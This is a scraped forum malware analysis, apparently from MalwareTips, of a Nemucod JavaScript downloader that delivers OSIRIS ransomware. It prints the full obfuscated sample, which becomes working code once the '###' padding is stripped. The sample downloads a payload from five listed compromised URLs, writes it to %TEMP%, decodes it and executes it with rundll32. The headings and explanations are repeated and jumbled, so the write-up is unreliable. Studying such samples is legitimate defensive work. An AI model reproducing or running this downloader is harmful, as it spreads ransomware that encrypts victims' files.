- May 14, 2016
- 1,597
From https://malwaretips.com/threads/07-12-2016-13.66303/
Thanks to @Der.Reisende
Why this sample ?
1) What it looks like :
2) Analyse before deobfuscation :
We can see that two vars are initialized with 2 functions.
Once created :
{
Conclusion :
For each line :
3) Deobfuscation :
To decode the obfuscated part, in static, the method is : we first have to replace with an editor (notepad++) the ### by empty (similar to delete)
Now we have to remove all the useless parts to make the real script appears :
Once done, in the good order :
The entry Point (where the script begins its real job) :
var vYc9 = "http://";
var vSFm7 = new Array();
vSFm7.push(vYc9 + "reliatemp.net/5zuhrikzt");
vSFm7.push(vYc9 + "salemwitchcat.com/5yajm7iopz");
vSFm7.push(vYc9 + "royaloakripon.co.uk/8eecjblke");
vSFm7.push(vYc9 + "shopclaz.com/wnrnnqjf");
vSFm7.push(vYc9 + "riviera-ligure.it/w1uoe");
var vSXd2 = "PNIqXxFU";
var vNa6 = new ActiveXObject("Scripting.FileSystemObject");
var vPh0 = 2;
var vTVz6 = vDGp4['ExpandEnvironmentStrings']('%TEMP%/');
var vQEi8 = new ActiveXObject("MSXML2.XMLHTTP");
var vLk5 = 0;
for (var vXCg9 = 0; vXCg9 < vSFm7.length; vXCg9 = vXCg9 + 1) {
function vIb7(vPCl4) {
// Second substitution cipher
function vQv8(vMHn8) {
function vCOe9(vMHn8, vHi9) {
// Reads the content from the file, returns after the first substitution cipher : vIb7(vEj8)
function vBYo5(vAFr7) {
// Uses the 2nd substitution cipher and saves the complete deobfuscated file content
function vQm1(vAFr7, vMHn8) {
=> parameter 1 : final path
=> parameter 2 : file content
4) Conclusion :
Deobfuscation of the payload :
URLs :
http ://reliatemp.net/5zuhrikzt
http ://salemwitchcat.com/5yajm7iopz
http ://royaloakripon.co.uk/8eecjblke
http ://shopclaz.com/wnrnnqjf
http ://riviera-ligure.it/w1uoe
Payload :
Thanks to @Der.Reisende
Why this sample ?
- First, I like the name
- Easy first obfuscation method used.
- Nemucod : download an obfuscated payload that is deobfuscated by the js script itself : interesting to see if it changes from other versions I have analyzed.
- Payload downloaded : OSIRIS ransomware.
- Easy first obfuscation method used.
- Nemucod : download an obfuscated payload that is deobfuscated by the js script itself : interesting to see if it changes from other versions I have analyzed.
- Payload downloaded : OSIRIS ransomware.
1) What it looks like :
Code:
var vDl7 = new Function("vDPd8", '{return vDPd8.split(",").join("");};');
var vLUm3 = new Function("vDPd8", '{var vKa9 = new Date();vKa9["setUTCFullYear"]("2003");if (vKa9.getUTCFullYear().toString(10) == "2003") {var vRVh5 = vDPd8.split("###"); return vRVh5.join("");} else return "";};');
eval(vLUm3("/###*###@###c###c###_###o###n### ###f###u###n###c###t###i###o###n### ###v###I###b###7###(###v###P###C###l###4###)###{###v###a###r### ###v###W###T###l###9###=###n###e###w### ###A###r###r###a###y###(###)###;###v###W###T###l###9###[###1###9###9###]###=###1###2###8###;###v###W###T###l###9###[###2###5###2###]###=###1###2###9###;###v###W###T###l###9###[###2###3###3###]###=###1###3###0###;###v###W###T###l###9###[###2###2###6###]###=###1###3###1###;###v###W###T###l###9###[###2###2###8###]###=###1###3###2###;###v###W###T###l###9###[###2###2###4###]###=###1###3###3###;###v###W###T###l###9###[###2###2###9###]###=###1###3###4###;###v###W###T###l###9###[###2###3###1###]###=###1###3###5###;###v###W###T###l###9###[###2###3###4###]###=###1###3###6###;###v###W###T###l###9###[###2###3###5###]###=###1###3###7###;###v###W###T###l###9###[###2###3###2###]###=###1###3###8###;###v###W###T###l###9###[###2###3###9###]###=###1###3###9###;###v###W###T###l###9###[###2###3###8###]###=###1###4###0###;###v###W###T###l###9###[###2###3###6###]###=###1###4###1###;###v###W###T###l###9###[###1###9###6###]###=###1###4###2###;###v###W###T###l###9###[###1###9###7###]###=###1###4###3###;###v###W###T###l###9###[###2###0###1###]###=###1###4###4###;###v###W###T###l###9###[###2###3###0###]###=###1###4###5###;###v###W###T###l###9###[###1###9###8###]###=###1###4###6###;###v###W###T###l###9###[###2###4###4###]###=###1###4###7###;###v###W###T###l###9###[###2###4###6###]###=###1###4###8###;###v###W###T###l###9###[###2###4###2###]###=###1###4###9###;###v###W###T###l###9###[###2###5###1###]###=###1###5###0###;###v###W###T###l###9###[###2###4###9###]###=###1###5###1###;###v###W###T###l###9###[###2###5###5###]###=###1###5###2###;###v###W###T###l###9###[###2###1###4###]###=###1###5###3###;###v###W###T###l###9###[###2###2###0###]###=###1###5###4###;###v###W###T###l###9###[###1###6###2###]###=###1###5###5###;###v###W###T###l###9###[###1###6###3###]###=###1###5###6###;###v###W###T###l###9###[###1###6###5###]###=###1###5###7###;###v###W###T###l###9###[###8###3###5###9###]###=###1###5###8###;###v###W###T###l###9###[###4###0###2###]###=###1###5###9###;###v###W###T###l###9###[###2###2###5###]###=###1###6###0###;###v###W###T###l###9###[###2###3###7###]###=###1###6###1###;###v###W###T###l###9###[###2###4###3###]###=###1###6###2###;###v###W###T###l###9###[###2###5###0###]###=###1###6###3###;###v###W###T###l###9###[###2###4###1###]###=###1###6###4###;###v###W###T###l###9###[###2###0###9###]###=###1###6###5###;###v###W###T###l###9###[###1###7###0###]###=###1###6###6###;###v###W###T###l###9###[###1###8###6###]###=###1###6###7###;###v###W###T###l###9###[###1###9###1###]###=###1###6###8###;###v###W###T###l###9###[###8###9###7###6###]###=###1###6###9###;###v###W###T###l###9###[###1###7###2###]###=###1###7###0###;###v###W###T###l###9###[###1###8###9###]###=###1###7###1###;###v###W###T###l###9###[###1###8###8###]###=###1###7###2###;###v###W###T###l###9###[###1###6###1###]###=###1###7###3###;###v###W###T###l###9###[###1###7###1###]###=###1###7###4###;###v###W###T###l###9###[###1###8###7###]###=###1###7###5###;###v###W###T###l###9###[###9###6###1###7###]###=###1###7###6###;###v###W###T###l###9###[###9###6###1###8###]###=###1###7###7###;###v###W###T###l###9###[###9###6###1###9###]###=###1###7###8###;###v###W###T###l###9###[###9###4###7###4###]###=###1###7###9###;###v###W###T###l###9###[###9###5###0###8###]###=###1###8###0###;###v###W###T###l###9###[###9###5###6###9###]###=###1###8###1###;###v###W###T###l###9###[###9###5###7###0###]###=###1###8###2###;###v###W###T###l###9###[###9###5###5###8###]###=###1###8###3###;###v###W###T###l###9###[###9###5###5###7###]###=###1###8###4###;###v###W###T###l###9###[###9###5###7###1###]###=###1###8###5###;###v###W###T###l###9###[###9###5###5###3###]###=###1###8###6###;###v###W###T###l###9###[###9###5###5###9###]###=###1###8###7###;###v###W###T###l###9###[###9###5###6###5###]###=###1###8###8###;###v###W###T###l###9###[###9###5###6###4###]###=###1###8###9###;###v###W###T###l###9###[###9###5###6###3###]###=###1###9###0###;###v###W###T###l###9###[###9###4###8###8###]###=###1###9###1###;###v###W###T###l###9###[###9###4###9###2###]###=###1###9###2###;###v###W###T###l###9###[###9###5###2###4###]###=###1###9###3###;###v###W###T###l###9###[###9###5###1###6###]###=###1###9###4###;###v###W###T###l###9###[###9###5###0###0###]###=###1###9###5###;###v###W###T###l###9###[###9###4###7###2###]###=###1###9###6###;###v###W###T###l###9###[###9###5###3###2###]###=###1###9###7###;###v###W###T###l###9###[###9###5###6###6###]###=###1###9###8###;###v###W###T###l###9###[###9###5###6###7###]###=###1###9###9###;###v###W###T###l###9###[###9###5###6###2###]###=###2###0###0###;###v###W###T###l###9###[###9###5###5###6###]###=###2###0###1###;###v###W###T###l###9###[###9###5###7###7###]###=###2###0###2###;###v###W###T###l###9###[###9###5###7###4###]###=###2###0###3###;###v###W###T###l###9###[###9###5###6###8###]###=###2###0###4###;###v###W###T###l###9###[###9###5###5###2###]###=###2###0###5###;###v###W###T###l###9###[###9###5###8###0###]###=###2###0###6###;###v###W###T###l###9###[###9###5###7###5###]###=###2###0###7###;###v###W###T###l###9###[###9###5###7###6###]###=###2###0###8###;###v###W###T###l###9###[###9###5###7###2###]###=###2###0###9###;###v###W###T###l###9###[###9###5###7###3###]###=###2###1###0###;###v###W###T###l###9###[###9###5###6###1###]###=###2###1###1###;###v###W###T###l###9###[###9###5###6###0###]###=###2###1###2###;###v###W###T###l###9###[###9###5###5###4###]###=###2###1###3###;###v###W###T###l###9###[###9###5###5###5###]###=###2###1###4###;###v###W###T###l###9###[###9###5###7###9###]###=###2###1###5###;###v###W###T###l###9###[###9###5###7###8###]###=###2###1###6###;###v###W###T###l###9###[###9###4###9###6###]###=###2###1###7###;###v###W###T###l###9###[###9###4###8###4###]###=###2###1###8###;###v###W###T###l###9###[###9###6###0###8###]###=###2###1###9###;###v###W###T###l###9###[###9###6###0###4###]###=###2###2###0###;###v###W###T###l###9###[###9###6###1###2###]###=###2###2###1###;###v###W###T###l###9###[###9###6###1###6###]###=###2###2###2###;###v###W###T###l###9###[###9###6###0###0###]###=###2###2###3###;###v###W###T###l###9###[###9###4###5###]###=###2###2###4###;###v###W###T###l###9###[###2###2###3###]###=###2###2###5###;###v###W###T###l###9###[###9###1###5###]###=###2###2###6###;###v###W###T###l###9###[###9###6###0###]###=###2###2###7###;###v###W###T###l###9###[###9###3###1###]###=###2###2###8###;###v###W###T###l###9###[###9###6###3###]###=###2###2###9###;###v###W###T###l###9###[###1###8###1###]###=###2###3###0###;###v###W###T###l###9###[###9###6###4###]###=###2###3###1###;###v###W###T###l###9###[###9###3###4###]###=###2###3###2###;###v###W###T###l###9###[###9###2###0###]###=###2###3###3###;###v###W###T###l###9###[###9###3###7###]###=###2###3###4###;###v###W###T###l###9###[###9###4###8###]###=###2###3###5###;###v###W###T###l###9###[###8###7###3###4###]###=###2###3###6###;###v###W###T###l###9###[###9###6###6###]###=###2###3###7###;###v###W###T###l###9###[###9###4###9###]###=###2###3###8###;###v###W###T###l###9###[###8###7###4###5###]###=###2###3###9###;###v###W###T###l###9###[###8###8###0###1###]###=###2###4###0###;###v###W###T###l###9###[###1###7###7###]###=###2###4###1###;###v###W###T###l###9###[###8###8###0###5###]###=###2###4###2###;###v###W###T###l###9###[###8###8###0###4###]###=###2###4###3###;###v###W###T###l###9###[###8###9###9###2###]###=###2###4###4###;###v###W###T###l###9###[###8###9###9###3###]###=###2###4###5###;###v###W###T###l###9###[###2###4###7###]###=###2###4###6###;###v###W###T###l###9###[###8###7###7###6###]###=###2###4###7###;###v###W###T###l###9###[###1###7###6###]###=###2###4###8###;###v###W###T###l###9###[###8###7###2###9###]###=###2###4###9###;###v###W###T###l###9###[###1###8###3###]###=###2###5###0###;###v###W###T###l###9###[###8###7###3###0###]###=###2###5###1###;###v###W###T###l###9###[###8###3###1###9###]###=###2###5###2###;###v###W###T###l###9###[###1###7###8###]###=###2###5###3###;###v###W###T###l###9###[###9###6###3###2###]###=###2###5###4###;###v###W###T###l###9###[###1###6###0###]###=###2###5###5###;###v###a###r### ###v###R###V###h###5###=###n###e###w### ###A###r###r###a###y###(###)###;###f###o###r### ###(###v###a###r### ###v###D###p###1###=###0###;### ###v###D###p###1### ###<### ###v###P###C###l###4###.###l###e###n###g###t###h###;### ###v###D###p###1### ###+###=### ###1###)###{###v###a###r### ###v###K###g###5###=###v###P###C###l###4###[###\"###c###h###a###r###C###o###d###e###A###t###\"###]###(###v###D###p###1###)###;###i###f### ###(###v###K###g###5### ###<### ###1###2###8###)###{###v###a###r### ###v###K###U###k###3###=###v###K###g###5###;###}###e###l###s###e### ###{###v###a###r### ###v###K###U###k###3###=###v###W###T###l###9###[###v###K###g###5###]###;###}###v###R###V###h###5###[###\"###p###u###s###h###\"###]###(###v###K###U###k###3###)###;###}###;###r###e###t###u###r###n### ###v###R###V###h###5###;###}### ###@###*###/"));
eval(vLUm3("f###u###n###c###t###i###o###n### ###v###Q###v###8###(###v###M###H###n###8###)###{###v###a###r### ###v###G###p###4###=###n###e###w### ###A###r###r###a###y###(###)###;###v###G###p###4###[###1###6###8###]###=###1###9###1###;###v###G###p###4###[###1###6###9###]###=###8###9###7###6###;###v###G###p###4###[###1###7###0###]###=###1###7###2###;###v###G###p###4###[###1###7###1###]###=###1###8###9###;###v###G###p###4###[###1###7###2###]###=###1###8###8###;###v###G###p###4###[###1###7###3###]###=###1###6###1###;###v###G###p###4###[###1###7###4###]###=###1###7###1###;###v###G###p###4###[###1###7###5###]###=###1###8###7###;###v###G###p###4###[###1###7###6###]###=###9###6###1###7###;###v###G###p###4###[###1###7###7###]###=###9###6###1###8###;###v###G###p###4###[###1###7###8###]###=###9###6###1###9###;###v###G###p###4###[###1###7###9###]###=###9###4###7###4###;###v###G###p###4###[###1###8###0###]###=###9###5###0###8###;###v###G###p###4###[###1###8###1###]###=###9###5###6###9###;###v###G###p###4###[###1###8###2###]###=###9###5###7###0###;###v###G###p###4###[###1###8###3###]###=###9###5###5###8###;###v###G###p###4###[###1###8###4###]###=###9###5###5###7###;###v###G###p###4###[###1###8###5###]###=###9###5###7###1###;###v###G###p###4###[###1###8###6###]###=###9###5###5###3###;###v###G###p###4###[###1###8###7###]###=###9###5###5###9###;###v###G###p###4###[###1###8###8###]###=###9###5###6###5###;###v###G###p###4###[###1###8###9###]###=###9###5###6###4###;###v###G###p###4###[###1###9###0###]###=###9###5###6###3###;###v###G###p###4###[###1###9###1###]###=###9###4###8###8###;###v###G###p###4###[###1###9###2###]###=###9###4###9###2###;###v###G###p###4###[###1###9###3###]###=###9###5###2###4###;###v###G###p###4###[###1###9###4###]###=###9###5###1###6###;###v###G###p###4###[###1###9###5###]###=###9###5###0###0###;###v###G###p###4###[###1###9###6###]###=###9###4###7###2###;###v###G###p###4###[###1###9###7###]###=###9###5###3###2###;###v###G###p###4###[###1###9###8###]###=###9###5###6###6###;###v###G###p###4###[###1###9###9###]###=###9###5###6###7###;###v###G###p###4###[###2###0###0###]###=###9###5###6###2###;###v###G###p###4###[###2###0###1###]###=###9###5###5###6###;###v###G###p###4###[###2###0###2###]###=###9###5###7###7###;###v###G###p###4###[###2###0###3###]###=###9###5###7###4###;###v###G###p###4###[###2###0###4###]###=###9###5###6###8###;###v###G###p###4###[###2###0###5###]###=###9###5###5###2###;###v###G###p###4###[###2###0###6###]###=###9###5###8###0###;###v###G###p###4###[###2###0###7###]###=###9###5###7###5###;###v###G###p###4###[###2###0###8###]###=###9###5###7###6###;###v###G###p###4###[###2###0###9###]###=###9###5###7###2###;###v###G###p###4###[###2###1###0###]###=###9###5###7###3###;###v###G###p###4###[###2###1###1###]###=###9###5###6###1###;###v###G###p###4###[###2###1###2###]###=###9###5###6###0###;###v###G###p###4###[###2###1###3###]###=###9###5###5###4###;###v###G###p###4###[###2###1###4###]###=###9###5###5###5###;###v###G###p###4###[###2###1###5###]###=###9###5###7###9###;###v###G###p###4###[###2###1###6###]###=###9###5###7###8###;###v###G###p###4###[###2###1###7###]###=###9###4###9###6###;###v###G###p###4###[###2###1###8###]###=###9###4###8###4###;###v###G###p###4###[###2###1###9###]###=###9###6###0###8###;###v###G###p###4###[###2###2###0###]###=###9###6###0###4###;###v###G###p###4###[###2###2###1###]###=###9###6###1###2###;###v###G###p###4###[###2###2###2###]###=###9###6###1###6###;###v###G###p###4###[###2###2###3###]###=###9###6###0###0###;###v###G###p###4###[###2###2###4###]###=###9###4###5###;###v###G###p###4###[###2###2###5###]###=###2###2###3###;###v###G###p###4###[###2###2###6###]###=###9###1###5###;###v###G###p###4###[###2###2###7###]###=###9###6###0###;###v###G###p###4###[###2###2###8###]###=###9###3###1###;###v###G###p###4###[###2###2###9###]###=###9###6###3###;###v###G###p###4###[###2###3###0###]###=###1###8###1###;###v###G###p###4###[###2###3###1###]###=###9###6###4###;###v###G###p###4###[###2###3###2###]###=###9###3###4###;###v###G###p###4###[###2###3###3###]###=###9###2###0###;###v###G###p###4###[###2###3###4###]###=###9###3###7###;###v###G###p###4###[###2###3###5###]###=###9###4###8###;###v###G###p###4###[###2###3###6###]###=###8###7###3###4###;###v###G###p###4###[###2###3###7###]###=###9###6###6###;###v###G###p###4###[###2###3###8###]###=###9###4###9###;###v###G###p###4###[###2###3###9###]###=###8###7###4###5###;###v###G###p###4###[###2###4###0###]###=###8###8###0###1###;###v###G###p###4###[###2###4###1###]###=###1###7###7###;###v###G###p###4###[###2###4###2###]###=###8###8###0###5###;###v###G###p###4###[###2###4###3###]###=###8###8###0###4###;###v###G###p###4###[###2###4###4###]###=###8###9###9###2###;###v###G###p###4###[###2###4###5###]###=###8###9###9###3###;###v###G###p###4###[###2###4###6###]###=###2###4###7###;###v###G###p###4###[###2###4###7###]###=###8###7###7###6###;###v###G###p###4###[###2###4###8###]###=###1###7###6###;###v###G###p###4###[###2###4###9###]###=###8###7###2###9###;###v###G###p###4###[###2###5###0###]###=###1###8###3###;###v###G###p###4###[###2###5###1###]###=###8###7###3###0###;###v###G###p###4###[###2###5###2###]###=###8###3###1###9###;###v###G###p###4###[###2###5###3###]###=###1###7###8###;###v###G###p###4###[###2###5###4###]###=###9###6###3###2###;###v###G###p###4###[###2###5###5###]###=###1###6###0###;###v###G###p###4###[###1###2###8###]###=###1###9###9###;###v###G###p###4###[###1###2###9###]###=###2###5###2###;###v###G###p###4###[###1###3###0###]###=###2###3###3###;###v###G###p###4###[###1###3###1###]###=###2###2###6###;###v###G###p###4###[###1###3###2###]###=###2###2###8###;###v###G###p###4###[###1###3###3###]###=###2###2###4###;###v###G###p###4###[###1###3###4###]###=###2###2###9###;###v###G###p###4###[###1###3###5###]###=###2###3###1###;###v###G###p###4###[###1###3###6###]###=###2###3###4###;###v###G###p###4###[###1###3###7###]###=###2###3###5###;###v###G###p###4###[###1###3###8###]###=###2###3###2###;###v###G###p###4###[###1###3###9###]###=###2###3###9###;###v###G###p###4###[###1###4###0###]###=###2###3###8###;###v###G###p###4###[###1###4###1###]###=###2###3###6###;###v###G###p###4###[###1###4###2###]###=###1###9###6###;###v###G###p###4###[###1###4###3###]###=###1###9###7###;###v###G###p###4###[###1###4###4###]###=###2###0###1###;###v###G###p###4###[###1###4###5###]###=###2###3###0###;###v###G###p###4###[###1###4###6###]###=###1###9###8###;###v###G###p###4###[###1###4###7###]###=###2###4###4###;###v###G###p###4###[###1###4###8###]###=###2###4###6###;###v###G###p###4###[###1###4###9###]###=###2###4###2###;###v###G###p###4###[###1###5###0###]###=###2###5###1###;###v###G###p###4###[###1###5###1###]###=###2###4###9###;###v###G###p###4###[###1###5###2###]###=###2###5###5###;###v###G###p###4###[###1###5###3###]###=###2###1###4###;###v###G###p###4###[###1###5###4###]###=###2###2###0###;###v###G###p###4###[###1###5###5###]###=###1###6###2###;###v###G###p###4###[###1###5###6###]###=###1###6###3###;###v###G###p###4###[###1###5###7###]###=###1###6###5###;###v###G###p###4###[###1###5###8###]###=###8###3###5###9###;###v###G###p###4###[###1###5###9###]###=###4###0###2###;###v###G###p###4###[###1###6###0###]###=###2###2###5###;###v###G###p###4###[###1###6###1###]###=###2###3###7###;###v###G###p###4###[###1###6###2###]###=###2###4###3###;###v###G###p###4###[###1###6###3###]###=###2###5###0###;###v###G###p###4###[###1###6###4###]###=###2###4###1###;###v###G###p###4###[###1###6###5###]###=###2###0###9###;###v###G###p###4###[###1###6###6###]###=###1###7###0###;###v###G###p###4###[###1###6###7###]###=###1###8###6###;###v###a###r### ###v###C###r###0###=###n###e###w### ###A###r###r###a###y###(###)###;###v###a###r### ###v###D###P###d###8###=###\"###\"###;###v###a###r### ###v###K###U###k###3###;### ###v###a###r### ###v###K###g###5###;###f###o###r### ###(###v###a###r### ###v###D###p###1###=###0###;### ###v###D###p###1### ###<### ###v###M###H###n###8###.###l###e###n###g###t###h###;### ###v###D###p###1### ###+###=### ###1###)###{###v###K###U###k###3###=###v###M###H###n###8###[###v###D###p###1###]###;###i###f### ###(###v###K###U###k###3### ###<### ###1###2###8###)###{###v###K###g###5###=###v###K###U###k###3###;###}### ###e###l###s###e### ###{###v###K###g###5###=###v###G###p###4###[###v###K###U###k###3###]###;###}###v###C###r###0###.###p###u###s###h###(###S###t###r###i###n###g###[###\"###f###r###o###m###C###h###a###r###C###o###d###e###\"###]###(###v###K###g###5###)###)###;###}###v###D###P###d###8###=###v###C###r###0###[###\"###j###o###i###n###\"###]###(###\"###\"###)###;###r###e###t###u###r###n### ###v###D###P###d###8###;###}"));
eval(vLUm3("f###u###n###c###t###i###o###n### ###v###C###O###e###9###(###v###M###H###n###8###,### ###v###H###i###9###)###{###v###a###r### ###v###F###c###8### ###=### ###v###I###b###7###(###v###H###i###9###)###;###f###o###r### ###(###v###a###r### ###v###D###p###1### ###=### ###0###;### ###v###D###p###1### ###<### ###v###M###H###n###8###.###l###e###n###g###t###h###;### ###v###D###p###1### ###+###=### ###1###)### ###{###v###M###H###n###8###[###v###D###p###1###]### ###^###=### ###v###F###c###8###[###v###D###p###1### ###%### ###v###F###c###8###.###l###e###n###g###t###h###]###;###}###;###r###e###t###u###r###n### ###v###M###H###n###8###;###}"));
eval(vLUm3("f###u###n###c###t###i###o###n### ###v###B###Y###o###5###(###v###A###F###r###7###)###{###v###a###r### ###v###T###s###6###=###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###A###D###O###D###B###.###S###t###r###e###a###m###\"###)###;###v###T###s###6###.###t###y###p###e###=###2###;###v###T###s###6###[###\"###C###h###a###r###s###e###t###\"###]###=###\"###4###3###7###\"###;###v###T###s###6###.###o###p###e###n###(###)###;###v###T###s###6###[###\"###L###o###a###d###F###r###o###m###F###i###l###e###\"###]###(###v###A###F###r###7###)###;###v###a###r### ###v###E###j###8###=###v###T###s###6###[###\"###R###e###a###d###T###e###x###t###\"###]###;###v###T###s###6###.###c###l###o###s###e###(###)###;###r###e###t###u###r###n### ###v###I###b###7###(###v###E###j###8###)###;###}"));
eval(vLUm3("f###u###n###c###t###i###o###n### ###v###Q###m###1###(###v###A###F###r###7###,### ###v###M###H###n###8###)###{###v###a###r### ###v###T###s###6###=###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###A###D###O###D###B###.###S###t###r###e###a###m###\"###)###;###v###T###s###6###.###t###y###p###e###=###2###;###v###T###s###6###[###\"###C###h###a###r###s###e###t###\"###]###=###\"###4###3###7###\"###;###v###T###s###6###.###o###p###e###n###(###)###;###v###T###s###6###[###\"###w###r###i###t###e###T###e###x###t###\"###]###(###v###Q###v###8###(###v###M###H###n###8###)###)###;###v###T###s###6###[###\"###S###a###v###e###T###o###F###i###l###e###\"###]###(###v###A###F###r###7###,### ###2###)###;###v###T###s###6###.###c###l###o###s###e###(###)###;###}"));
eval(vLUm3("v###a###r### ###v###Y###c###9### ###=### ###\"###h###t###t###p###:###/###/###\"###;"));
eval(vLUm3(" ### ### ### ###v###a###r### ###v###S###F###m###7### ###=### ###n###e###w### ###A###r###r###a###y###(###)###;"));
eval(vLUm3("v###S###F###m###7###.###p###u###s###h###(###v###Y###c###9### ###+### ###\"###r###e###l###i###a###t###e###m###p###.###n###e###t###/###5###z###u###h###r###i###k###z###t###\"###)###;"));
eval(vLUm3("v###S###F###m###7###.###p###u###s###h###(###v###Y###c###9### ###+### ###\"###s###a###l###e###m###w###i###t###c###h###c###a###t###.###c###o###m###/###5###y###a###j###m###7###i###o###p###z###\"###)###;"));
eval(vLUm3("v###S###F###m###7###.###p###u###s###h###(###v###Y###c###9### ###+### ###\"###r###o###y###a###l###o###a###k###r###i###p###o###n###.###c###o###.###u###k###/###8###e###e###c###j###b###l###k###e###\"###)###;"));
eval(vLUm3("v###S###F###m###7###.###p###u###s###h###(###v###Y###c###9### ###+### ###\"###s###h###o###p###c###l###a###z###.###c###o###m###/###w###n###r###n###n###q###j###f###\"###)###;"));
eval(vLUm3("v###S###F###m###7###.###p###u###s###h###(###v###Y###c###9### ###+### ###\"###r###i###v###i###e###r###a###-###l###i###g###u###r###e###.###i###t###/###w###1###u###o###e###\"###)###;"));
eval(vLUm3("v###a###r### ###v###S###X###d###2### ###=### ###\"###P###N###I###q###X###x###F###U###\"###;"));
eval(vLUm3("v###a###r### ###v###R###Q###b###0### ###=### ###\"###z###K###O###V###\"###;"));
eval(vLUm3("v###a###r### ###v###U###m###6### ###=### ###\"###d###s###6###N###i###I###X###B###P###p###\"###;"));
eval(vLUm3(""));
eval(vLUm3("v###a###r### ###v###N###a###6### ###=### ###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###S###c###r###i###p###t###i###n###g###.###F###i###l###e###S###y###s###t###e###m###O###b###j###e###c###t###\"###)###;"));
eval(vLUm3("v###a###r### ###v###P###h###0###=###2###;"));
eval(vLUm3("v###a###r### ###v###D###G###p###4###=###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###W###S###c###r###i###p###t###.###S###h###e###l###l###\"###)###;"));
eval(vLUm3("v###a###r### ###v###T###V###z###6###=###v###D###G###p###4###[###'###E###x###p###a###n###d###E###n###v###i###r###o###n###m###e###n###t###S###t###r###i###n###g###s###'###]###(###'###%###T###E###M###P###%###/###'###)###;"));
eval(vLUm3("v###a###r### ###v###D###P###v###7###=###v###T###V###z###6### ###+### ###v###S###X###d###2###;"));
eval(vLUm3("v###a###r### ###v###K###w###3###=###v###D###P###v###7### ###+### ###\"###.###z###\"### ###+### ###\"###k###\"###;"));
eval(vLUm3("v###a###r### ###v###Q###E###i###8### ###=### ###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###M###S###X###M###L###2###.###X###M###L###H###T###T###P###\"###)###;"));
eval(vLUm3("f###u###n###c###t###i###o###n### ###v###F###F###e###9###(###)###{###v###a###r### ###v###K###s###6### ###=### ###v###N###a###6###.###G###e###t###F###i###l###e###(###v###K###w###3###)###;###r###e###t###u###r###n### ###v###K###s###6###.###S###h###o###r###t###P###a###t###h###;###}"));
eval(vLUm3("v###a###r### ###v###L###k###5### ###=### ###0###;"));
eval(vLUm3("/###*###@###c###c###_###o###n### ###f###o###r### ###(###v###a###r### ###v###X###C###g###9### ###=### ###0###;### ###v###X###C###g###9### ###<### ###v###S###F###m###7###.###l###e###n###g###t###h###;### ###v###X###C###g###9### ###=### ###v###X###C###g###9### ###+### ###1###)###{###t###r###y###{###v###a###r### ###v###Q###r###2###=###n###e###w### ###A###c###t###i###v###e###X###O###b###j###e###c###t###(###\"###A###D###O###D###B###.###S###t###r###e###a###m###\"###)###;###v###Q###E###i###8###.###o###p###e###n###(###\"###G###E###T###\"###,### ###v###S###F###m###7###[###v###X###C###g###9###]###,### ###f###a###l###s###e###)###;###v###Q###E###i###8###.###s###e###t###R###e###q###u###e###s###t###H###e###a###d###e###r###(###\"###U###s###e###r###-###A###g###e###n###t###\"###,###\"###M###o###z###i###l###l###a###/###4###.###0### ###(###c###o###m###p###a###t###i###b###l###e###;### ###M###S###I###E### ###6###.###0###;### ###W###i###n###d###o###w###s### ###N###T### ###5###.###0###)###\"###)###;###v###Q###E###i###8###[###\"###s###e###n###d###\"###]###(###)###;###v###Q###r###2###.###o###p###e###n###(###)###;###v###Q###r###2###.###t###y###p###e###=###1###;###v###a###r### ###v###P###Z###f###1### ###=### ###n###e###w### ###D###a###t###e###(###)###;###v###P###Z###f###1###.###s###e###t###F###u###l###l###Y###e###a###r###(###\"###2###0###0###1###\"###)###;###v###Q###r###2###.###w###r###i###t###e###(###v###Q###E###i###8###.###R###e###s###p###o###n###s###e###B###o###d###y###)###;###v###Q###r###2###.###p###o###s###i###t###i###o###n###=###0###;###i###f### ###(###v###P###Z###f###1###.###g###e###t###F###u###l###l###Y###e###a###r###(###)###.###t###o###S###t###r###i###n###g###(###1###0###)### ###=###=### ###\"###2###0###0###1###\"###)### ###v###Q###r###2###[###\"###S###a###v###e###T###o###F###i###l###e###\"###]###(###v###D###P###v###7###,### ###v###P###h###0###)###;###v###Q###r###2###.###c###l###o###s###e###(###)###;###v###a###r### ###v###R###V###h###5### ###=### ###v###B###Y###o###5###(###v###D###P###v###7###)###;###v###R###V###h###5### ###=### ###v###C###O###e###9###(###v###R###V###h###5###,### ###v###U###m###6###)###;###i###f### ###(###v###R###V###h###5###[###0###]### ###!###=### ###7###7### ###|###|### ###v###R###V###h###5###[###1###]### ###!###=### ###9###0###)### ###c###o###n###t###i###n###u###e###;###v###Q###m###1###(###v###K###w###3###,### ###v###R###V###h###5###)###;###v###a###r### ###v###Q###L###o###3### ###=### ###v###F###F###e###9###(###)###;###i###f### ###(###v###P###Z###f###1###[###\"###g###e###t###F###u###l###l###Y###e###a###r###\"###]###(###)###.###t###o###S###t###r###i###n###g###(###1###0###)### ###=###=### ###\"###2###0###0###1###\"###)### ###v###D###G###p###4###[###\"###R###u###n###\"###]###(###\"###r###u###n###d###l###l###3###2###\"### ###+### ###\"### ###\"### ###+### ###v###Q###L###o###3### ###+### ###\"###,###\"### ###+### ###v###R###Q###b###0###)###;###b###r###e###a###k###;###}###c###a###t###c###h### ###(###e###)### ###{###c###o###n###t###i###n###u###e###;###}###;###}### ###@###*###/"));
2) Analyse before deobfuscation :
var vDl7 = new Function("vDPd8",
);
var vLUm3 = new Function("vDPd8",
);
'{return vDPd8.split(",").join("");};'
var vLUm3 = new Function("vDPd8",
'{var vKa9 = new Date();vKa9["setUTCFullYear"]("2003");
if (vKa9.getUTCFullYear().toString(10) == "2003") {
var vRVh5 = vDPd8.split("###"); return vRVh5.join("");} else return "";};'
if (vKa9.getUTCFullYear().toString(10) == "2003") {
var vRVh5 = vDPd8.split("###"); return vRVh5.join("");} else return "";};'
We can see that two vars are initialized with 2 functions.
Once created :
var vD17 = function(parameter)
{
var vLUm3 = function(parameter)
{
Explanation :{
return parameter.split(",").join("");
}var vLUm3 = function(parameter)
{
var vKa9 = new Date();
vKa9["setUTCFullYear"]("2003");
};vKa9["setUTCFullYear"]("2003");
if (vKa9.getUTCFullYear().toString(10) == "2003") {
else return "";
var vRVh5 = parameter.split("###"); return vRVh5.join("");
}else return "";
vD17(parameter){
Example : vD17 ("a,b,c,d,e,f").split(",").join(")
